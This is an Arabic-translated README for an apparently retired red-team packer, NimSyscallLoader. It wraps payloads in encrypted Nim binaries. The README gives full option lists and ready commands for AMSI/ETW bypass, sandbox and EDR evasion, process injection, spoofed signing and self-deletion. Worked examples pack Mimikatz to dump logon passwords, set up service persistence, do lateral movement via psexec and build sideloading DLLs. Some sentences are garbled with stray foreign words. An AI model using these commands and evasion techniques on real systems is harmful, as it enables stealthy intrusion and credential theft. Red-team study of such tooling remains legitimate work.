
يحزم تجميعات C# أو ملفات PE أو الشيفرة البرمجية (shellcode) في ملفات Nim ثنائية مشفّرة مع ميزات مراوغة متقدمة تشمل تجاوز AMSI/ETW وكشف بيئات الاختبار (sandbox) وتقنيات حقن متعددة لعمليات الفريق الأحمر.
تم نشر هذه الأداة علنًا بعد محاضرة في x33fcon. لقد كانت مشروع البرمجة الرئيسي الخاص بي من 2021 إلى 2024، وتُعتبر الآن متقادمة ولم تعد تُصان. لا تتوقع إصلاحات للأخطاء أو تحديثات للميزات هنا من جهتي. بدلاً من ذلك، تتم الآن صيانة RustPack كنسخة تجارية ومقيدة للفرق الحمراء ومختبري الاختراق المعتمدين، وهي أكثر ثراءً بالميزات ولكنها أيضًا أكثر أمانًا من حيث الأمن التشغيلي (OPSec).
يمكن استخدام أداة التعبئة هذه لتغليف أي C# Assembly أو ملف PE أو Shellcode في ثنائي Nim. ستعمل على تشفير الحمولة المستهدفة، وبناء كود مصدر Nim المطابق وفقًا للوسائط المحددة، ثم تترجمه إلى ثنائي Nim.
فيديو - إذا كنت تفضل ذلك - يمكنك العثور عليه هنا: https://youtu.be/0PwIn3Nxmgo
يجب تثبيت Git لكي يعمل Nim/Nimble بشكل صحيح.
تم الاختبار مع Nim 2.2.10 وحزمة MinGW-w64 GCC 11.1.0 المرتبطة من صفحة تنزيل Nim لنظام Windows. إصدارات Nim الأحدث تعتمد افتراضيًا على قاعدة صورة PE عالية في Windows، مما يكسر روابط -static مع رسالة relocation truncated to fit: R_X86_64_32S against .bss؛ الأداة الآن تفرض -Wl,--image-base=0x10000 للحفاظ على عمل البناء الثابت، لذا أي بناء MinGW-w64 11.x يجب أن يكون سليمًا. فقط x64 مدعوم هنا — x86/--x86/--wow64 لا تتم صيانته.
nim-2.2.10_x64.zipmingw64.7z (مرتبط من صفحة تثبيت Nim لنظام Windows)Expand-Archive — فهي تُسقط lib\system.nim بصمت بسبب تعارض حالة الأحرف مع مجلد lib\system\). يحتوي ملف Nim المضغوط على bin\7zG.exe والذي يمكنك استخدامه لفك ضغط MinGW.<nim>\bin و <mingw64>\bin إلى %PATH% لديك. سجّل الخروج/الدخول (أو أعد تشغيل الطرفية) لكي يسري التغيير.الإصدارات المعروفة بأنها تعمل (اعتبارًا من Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — لا يحتوي المستودع على إصدارات موسومة).
إذا كنت تريد استخدام أداة إخفاء LLVM على ويندوز، استخدم نسخة denim المعدّلة المدمجة من denim. ثبّتها عبر denim\denim.exe setup.
على سبيل المثال على Kali / Debian. كانت أداة التغليف تتطلب تاريخياً nim 1.6.8 + mingw-64 8.0.0-1؛ مع تضمين حل بديل للربط الثابت --image-base=0x10000 الآن، يجب أن تعمل سلاسل الأدوات الأحدث أيضاً. إصدار ويندوز هو ما يتم اختباره بنشاط — لينكس بأفضل جهد ممكن.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
إذا فشل تجميع `--hellsgate` على إصدار أحدث من mingw-w64، فقم بالتراجع إلى `mingw-64=8.0.0-1`.
قم بتثبيت donut عبر `pip3 install donut-shellcode`. لا يمكن استخدام `denim` من Unix لذا فإن التعتيم عبر LLVM غير ممكن هنا. وكذلك الحال بالنسبة لـ Callobfuscator.
قم بتجميع الحزمة عبر `nim c -d:noRES NimSyscallLoader.nim`. جاهز للانطلاق. إذا لم تستخدم `-d:noRES` فقد تحصل على الخطأ التالي:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
يجب بناؤه مرة واحدة فقط (يستغرق بعض الوقت في المرة الأولى، بينما سيتم تخزين عمليات البناء اللاحقة في الذاكرة المؤقتة).
sudo docker build . -t nimsyscallloader
ثم شغّل أداة التغليف (packer) باستخدام:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
حيث $(pwd) هو الدليل على النظام المضيف المشترك مع الحاوية، أي الدليل الذي يجب أن تكون فيه الملفات المراد تشفيرها وحيث سيتم حفظ المخرجات.
إذا كنت تريد الاستفادة من شهادات توقيع الكود (Code Signing) عبر LimeLighter، فستحتاج أيضاً إلى تثبيت العناصر التالية وإضافتها إلى %PATH%: openssl - (لنظام Windows) على سبيل المثال من هنا osslsigncode - على سبيل المثال من هنا
لن أقدم دعماً للمشكلات المتعلقة بأدوات الطرف الثالث المستخدمة هنا. لذا يرجى فتح مشكلة (issue) في المستودعات المقابلة إذا كنت تواجه مشكلات معها. أدوات الطرف الثالث المستخدمة:
يمكنك إما استخدام ملفاتي الثنائية المجمّعة مسبقاً أو بالطبع تجميعها بنفسك من الروابط أعلاه.
يمكن العثور على فيديو - إذا كنت تفضل ذلك - هنا: https://youtu.be/UHaIgdzqHDA
كما أضفت فيديوهات قصيرة لبعض الميزات حيث تم طلب ذلك:
Caro-Kann:
ميزة ThreadlessInject:
ميزة Module Stomping:
ميزة shellcodeURL:
ميزة stegoFile:
ميزة shellcodeFile:
Ruy Lopez للعمليات المحلية
صيغة إخراج Shellcode
ميزة إخراج Assembly
كما صنعت فيديو عاماً يستعرض كيفية تخصيص تقنية ThreadlessInject لعمليات أخرى غير العملية الافتراضية:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
بشكل افتراضي، يستخدم الـ Packer وظائف تجنب الـ SandBox ومكافحة التصحيح (AntiDebug) لكل Payload. إذا كنت لا تريد تفعيلها (مثل إزالة مؤشرات الاختراق IoCs الخاصة بها) أو لأي سبب آخر، يمكنك استخدام العلامتين `--noAntidebug` أو `--noDefaultSandBox`. سيتم إضافة أي فحص آخر من خيارات الـ SandBox بالإضافة إلى الفحوصات الموجودة، وليس كبديل عنها.
يتم تنفيذ جميع الـ Payloads افتراضيًا في منطقة ذاكرة `RX`. لن تعمل بعض الـ Payloads مع `READ_EXECUTE` فقط. لاستخدام `RWX` بدلاً من ذلك، يمكنك تفعيل ذلك بالعلامة `--RWX`.
أيضًا افتراضيًا، يتم تضمين الـ Payloads في الملف الثنائي الناتج كمصفوفة مشفرة. يؤدي هذا إلى إنتروبيا عالية ويمكن أن يؤدي أيضًا إلى اكتشافها من قبل بعض بائعي AV/EDR بسبب ذلك. أنصح بدلاً من ذلك باستخدام `--shellcodeFile` أو `--shellcodeURL` لجلب الـ Payload من ملف مختلف أو خادم ويب وقت التشغيل. يؤدي هذا أيضًا إلى تجنب الـ SandBox كأثر جانبي. على سبيل المثال عند استخدام:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
إذا لم تكن في عجلة من أمرك، يمكنني أيضًا أن أوصي باستخدام الخيارات `--sleep numberOfSeconds` و/أو `--sleep-in-between numberOfSeconds` لأي Payload، حيث سيؤدي ذلك إلى تجاوزات فحص الذاكرة و/أو الكشف القائم على السلوك.
لتعبئة Mimikatz على سبيل المثال مع إزالة الخطاف قبل التنفيذ وبدون تجاوز AMSI، استخدم ما يلي:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
قد واجه بعضكم مشاكل في تحميل Mimikatz مع الحزّام عبر الوسائط "--file=Mimikatz --peload" لإصدار أوامر مخصصة لاحقاً عند التشغيل.
وجدت السبب وراء هذا السلوك. لا تسألني لماذا، لكن لا يمكنك فقط أخذ الإصدار من Github بل يجب عليك تجميع Mimikatz بنفسك (أو بناء نسخة مخصصة) وتحميل هذا بدلاً من الإصدار الرسمي. واستخدم أيضاً --noAntidebug مع Mimikatz وإلا فستكون له نتائج غريبة (لا تسألني لماذا، ملفات PE الأخرى تُحمَّل بشكل جيد).
إذا كنت لا تزال ترغب في تضمين نسخة الإصدار من github يمكنك تمرير الوسائط مباشرة هكذا:```batch Packedmimikatz.exe coffee exit
يمكنك أيضًا ترميز الوسائط بشكل ثابت لحمولات `--peload` أو `--csharp` أو `--peinject`، على سبيل المثال، ما يلي من شأنه أن يعدّل وسائط سطر الأوامر لتكون `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
يتم اكتشاف شيل كود Donut بواسطة بعض بائعي AV/EDR. كبديل لتحميل PE، قمت بتعديل Nim-RunPE لاستخدام Syscalls لتحميل PE ودمجته هنا:
لتعبئة Mimikatz على سبيل المثال وتحميله عبر PE-Loader الخاص بـ syscall، استخدم ما يلي:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
لتغليف Shellcode للحقن المحلي:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
لتحميل shellcode في عملية بعيدة:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
لتحميل تجميعة C#:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
لتحميل تجميع C# مع الوسائط:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
لتحميل تجميعة C# واستخدام hellsgate لاسترجاع Syscall:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
لتعبئة Shellcode للحقن المحلي + استخدام hellsgate + الحذف الذاتي + فحوصات صندوق الرمل:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
لإضافة عدة آلاف من الكلمات الإنجليزية لتجاوز اكتشافات "التعلم الآلي":```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
لاستخدام Syswhispers3 مع/بدون تقنية jumper_randomized:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
لترميز shellcode باستخدام sgn قبل التشفير:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
لإنشاء عملية مخصصة والحقن فيها بعد ذلك + تصحيح AMSI/ETW في العملية البعيدة:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
لإنشاء ملف DLL كإخراج بدلاً من ملف تنفيذي، فقط أضف المعامل `--dll`. يمكنك أيضًا تعريف دوال تصدير مخصصة عبر `--dllexportfunc Export1,ExportFunc2`. يمكن استخدام هذه التصديرات المخصصة أيضًا للتحميل الجانبي لملفات DLL.
وصف LLVM منقول من [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) - لم أختبر هذا بنفسي بعد!
**اختياري:** لاستخدام علم [Obfuscator-LLVM](https://github.com/heroims/obfuscator)، يجب تثبيته على نظامك إلى جانب [wclang](https://github.com/tpoechtrager/wclang). وجدت أن هذا الأمر مزعج بعض الشيء، لكن يجب أن تتمكن من فعله بقليل من المثابرة. إليك خطوات سريعة نجحت معي على نظام Kali Linux:
1. استنسخ الإصدار المطلوب من Obfuscator-LLVM وقم ببنائه
2. بعد الترجمة، قم بعمل نسخة احتياطية من الإصدار الحالي من clang وانقل الإصدار الجديد من Obfuscator-LLVM من clang إلى /usr/bin/
3. ثبّت wclang وأضف ملفاته الثنائية إلى PATH الخاص بك
4. قم بعمل نسخة احتياطية من ملفات مكتبات clang الموجودة، وانسخ ملفات تضمين مكتبات Obfuscator-LLVM المبنية حديثًا إلى /usr/lib/clang/OLD_VERSION/
بالإضافة إلى ذلك، يجب إضافة الأسطر التالية إلى ملف `nim.cfg` الخاص بك لتوجيه nim إلى ملفات wclang الثنائية:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
لا يتم تشغيل ثنائيات الخدمة بشكل فوري. يمكن استخدامها فقط لخدمات ويندوز. لذا إذا كنت تقوم بتجميع ثنائي خدمة باستخدام --service، فستحتاج إلى إنشاء خدمة جديدة بموقع هذا الثنائي. يمكن القيام بذلك على سبيل المثال كما يلي:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
يمكن أيضًا استخدام ثنائيات Packer للحركة الجانبية عبر impacket-psexec:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
تتطلب مكتبات DLL الخاصة بالخدمات تكوينات إضافية. يمكنك قراءة المدونة التالية وتحتاج إلى بعض التغييرات في Registry:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
بالإضافة إلى ذلك، يجب تعديل قيمة `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` بحيث تتضمن اسم خدمتك أيضاً.
إذا كنت ت接收到 خطأ 1053 عند بدء الخدمة، فغالباً ما تكون قد نسيت الإدخال الأخير.
### التعامل مع ثنائيات Golang باستخدام Packer
تطبيقي المخصص `Nim-RUNPE` لا يستطيع حالياً التعامل مع ثنائيات GoLang. هذا خطأ غريب داخل Nim، ويجب التحقيق فيه بعمق لاحقاً. بالتأكيد حفرة أرنب، قضيت فيها الكثير من الوقت بالفعل.
في الوقت الحالي، كحل بديل يمكنك استخدام `--peinject --large` لإنشاء شيلكود من الثنائي golang لتنفيذه إما محلياً كملف تنفيذي أو DLL.
مثال:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
يجب عليك have to تمرير وسائط مكتوبة بشكل ثابت عند استخدام DLL، لأن DLLs الخاصة بـ PEInject لا تقبل وسائط من المضيف الهدف. الحقن عن بُعد ممكن أيضًا، لكن لا يمكن كتابة الوسائط بشكل ثابت هنا.
يكتشف Defender حاليًا ملفات Golang الثنائية المعبأة، وأنا متأكد إلى حد كبير أن السبب هو الانتروبيا العالية جدًا (الحمولات الكبيرة، بحيث يحتوي الملف الثنائي على 95% أو أكثر من المحتوى المشفر). لتجنب هذه الاكتشافات، استخدم إما DLL أو --pump مع أي قيمة.
يمكنك إنشاء حمولات قادرة على DLL-Sideloading باستخدام العلامة --clone DLLName.
على سبيل المثال، ما يلي سينشئ version.dll يحتوي على تصديرات API الخاصة بـ version.dll الأصلي لنظام Windows:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
يمكن استخدام هذا لمختلف الملفات الثنائية الموقعة الشرعية للتحميل الجانبي (Sideloading)، مثل `OneDriveUpdater.exe` و `slllauncher.exe` والمزيد. هناك بعض النقاط المهمة التي يجب ملاحظتها ويجب أن تعتني بها بنفسك:
* استخدام Shellcode مع Exitfunction=Process سيؤدي على الأرجح إلى تعطل في الملف الثنائي المضيف
* استخدام الحقن المحلي سيؤدي إلى عدم بدء تشغيل الملف الثنائي، لأن الـ DLL لن يُكمل تنفيذ حمولات C2
* يوجد حالياً خطأ أو مشكلة مع حمولات C# والتحميل الجانبي Nim. تلك الحمولات ببساطة لا يتم تنفيذها عند التشغيل محلياً (`--csharp` أو `--peinject`)، يجب التحقيق في الأمر
* لا يمكنني أن أنصح باستخدام حمولات التحميل الجانبي Nim DLL مع Teams.exe - كانت هناك سلوكيات غريبة لبعض ملفات DLL ولم يعد Teams يعمل في كثير من الحالات. كما يتم اكتشافه من قبل العديد من بائعي EDR في الوقت الحالي
* اختبر حمولاتك قبل استخدامها.
خذ وقتك للبحث عن ملفات تحميل جانبي مخصصة أو استخدم بعض الملفات الموثقة المعروفة من مكان مثل [https://hijacklibs.net/](https://hijacklibs.net/).
### الصور المخصصة أو البيانات الوصفية
إذا كنت تريد استخدام أيقونات مخصصة لملفات اللودر القابلة للتنفيذ أو بيانات وصفية مخصصة، فيجب عليك تغيير ملف `cmd.rc` في مجلد الموارد.
يمكن ترجمة ذلك إلى ملف `cmd.o` عبر `windres cmd.rc -o cmd.o`. يمكنك أيضاً فقط استبدال ملف `demo.ico` بأي ملف ICON آخر تريد استخدامه.
بالنسبة لبيانات DLL الوصفية يمكنك تغيير `DLL.rc`.
### اكتشافات الإنتروبيا الأخرى أو طرق بديلة لتفادي بيئة الاختبار (SandBox)
بعض البائعين، مثل ESET، يضعون علامة على الملفات الثنائية/ملفات DLL بسبب وجود الحمولة المشفرة داخل الملف الثنائي ككتلة (blob) ذات إنتروبيا عالية. يمكن تجاوز هذا النوع من الاكتشافات و/أو فحوصات بيئة الاختبار باستخدام العلامات `--shellcodeFile` أو `--shellcodeURL`، حيث لن تكون الحمولة مدمجة في الملف الثنائي الناتج بعد ذلك بل يتم تحميلها من ملف منفصل أو من خادم ويب عن بعد.
### ThreadlessInject - أمور يجب الانتباه لها
إذا كنت تريد استخدام ThreadlessInject - فيجب أن تعرف ما تفعله. نظراً لأنه يربط (Hook) API في العملية البعيدة، فهذه التقنية تحتاج إلى تعديل لكل عملية بعيدة مختلفة. تحتاج أولاً إلى معرفة واجهات الـ API التي يتم استدعاؤها بانتظام من قبل العملية البعيدة لتعرف ماذا تربط. يمكنك مثلاً مراقبة هذا لعمليات ويندوز الشائعة عبر [API Monitor](http://www.rohitab.com/apimonitor). اضبط الخطاف على العملية المستهدفة، وإلا فلن يتم تنفيذ الحمولة.
القيم الافتراضية مفيدة فقط للهدف المدمج للإطلاق/الحقن `rundll32.exe`، حيث تستدعي هذه العملية بانتظام `NtWaitForMultipleObjects` من `ntdll.dll`. العمليات الأخرى تستدعي هذه الدالة أيضاً، لكن التوصية هنا هي تعديل الخيارات لتناسب العملية المستهدفة لديك.
### Module Stomping - أمور يجب الانتباه لها
يمنحنا Module Stomping ميزة عدم الحاجة إلى تخصيص ذاكرة لحقن الـ Shellcode بعد الآن، حيث نستبدل (جزءاً من) قسم `.text` من DLL تم تحميله بالفعل. إذا لم يكن الـ DLL محملاً بالفعل في العملية البعيدة المستهدفة، فسيتم فرض تحميله أولاً عبر إنشاء خيط بعيد (Remote Thread) على `LoadLibrary` أو عند استخدام ThreadlessInject عبر خطاف يشير إلى Shellcode مخصص لـ LoadLibrary. افتراضياً، يتم استخدام DLL `chakra.dll` للـ Stomping، وهو مناسب في معظم الحالات نظراً لحجمه. ومع ذلك، يمكنك تغيير الـ DLL عبر معاملات الـ Packer كما تشاء.
لتجنب CFG، يقوم التنفيذ الحالي بالكتابة فوق نقطة دخول واحدة (أو اثنتين مع تفعيل Caro-Kann) من نقاط دخول الـ DLL:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
